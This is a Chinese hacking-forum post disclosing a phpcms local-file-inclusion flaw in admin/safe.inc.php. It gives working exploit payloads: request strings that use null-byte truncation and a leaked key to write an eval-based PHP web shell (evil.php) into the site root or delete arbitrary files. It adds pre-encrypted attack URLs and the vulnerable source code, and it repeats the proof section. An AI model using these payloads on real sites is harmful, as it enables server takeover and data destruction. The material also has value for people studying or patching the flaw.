黑帽联盟

 找回密码
 会员注册
查看: 1074|回复: 0
打印 上一主题 下一主题

[系统安全] phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞

[复制链接]
yun 黑帽联盟官方人员 

920

主题

37

听众

1364

积分

超级版主

Rank: 8Rank: 8

  • TA的每日心情
    奋斗
    2019-10-18 11:20
  • 签到天数: 678 天

    [LV.9]以坛为家II

    phpcms本地包含类漏洞,如果该文件包含了/include/common.inc.php就可以包含执行很多后台才能执行的文件了。

    由于phpcms的全局变量机制,导致能拿shell的方法很多,类似的问题不止一个。

    admin/safe.inc.php文件是后台扫木马的程序,但是很可惜的是虽然文件名叫做safe,但是一点也不safe。

    公布一个本地包含秒杀拿shell的方法。

    包含:admin/safe.inc.php文件GET提交一下数据
    将在根目录下生成一句话
    用上一篇得到的密钥$key='sIpeofogblFVCildZEwe';
    加密如下字符串

    $evil='i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00';

    http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=
    将在根目录下生成一句话木马

    同理任意文件删除漏洞:
    $evil='i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00';
    http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==

    贴上存在漏洞的代码://admin/safe.inc.php
    1. <?php

    2. defined('IN_PHPCMS') or exit('Access Denied');

    3. // include/common.inc.php 里面声明了常量

    4. // define('IN_PHPCMS', TRUE);

    5. if(empty($action)) $action = "start";

    6. $safe = cache_read('safe.php');

    7. $filecheck = load('filecheck.class.php');

    8. if(empty($safe))

    9. {

    10. $safe = array (

    11. 'file_type' => 'php|js',

    12. 'code' => '',

    13. 'func' => 'com|system|exec|eval|escapeshell|cmd|passthru|base64_decode|gzuncompress',

    14. 'dir' => $filecheck->checked_dirs()

    15. );


    16. }

    17. switch ($action)
    18. {
    19. ...

    20. case 'edit_code':

    21. if (file_put_contents(PHPCMS_ROOT.$file_path, stripcslashes($code)))
    22. {

    23. showmessage('修改成功!');

    24. }
    25. break;

    26. case 'del_file':

    27. $file_path = urldecode($files);

    28. if (empty($file_path))
    29. {
    30. showmessage('请选择文件');
    31. }
    32. $file_list = cache_read('scan_backdoor.php');

    33. unset($file_list[$file_path]);

    34. cache_write('scan_backdoor.php',$file_list);

    35. @unlink(PHPCMS_ROOT.$file_path)

    36. showmessage('文件删除成功!', '?mod=phpcms&file=safe&action=scan_table');

    37. break;

    38. ...
    复制代码
    漏洞证明:
    将在根目录下生成一句话

    用上一篇得到的密钥$key='sIpeofogblFVCildZEwe';

    加密如下字符串

    $evil='i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00';

    http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=

    将在根目录下生成一句话木马


    同理任意文件删除漏洞:

    $evil='i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00';

    http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==


    帖子永久地址: 

    黑帽联盟 - 论坛版权1、本主题所有言论和图片纯属会员个人意见,与本论坛立场无关
    2、本站所有主题由该帖子作者发表,该帖子作者与黑帽联盟享有帖子相关版权
    3、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者和黑帽联盟的同意
    4、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
    5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
    6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
    7、黑帽联盟管理员和版主有权不事先通知发贴者而删除本文

    您需要登录后才可以回帖 登录 | 会员注册

    发布主题 !fastreply! 收藏帖子 返回列表 搜索
    回顶部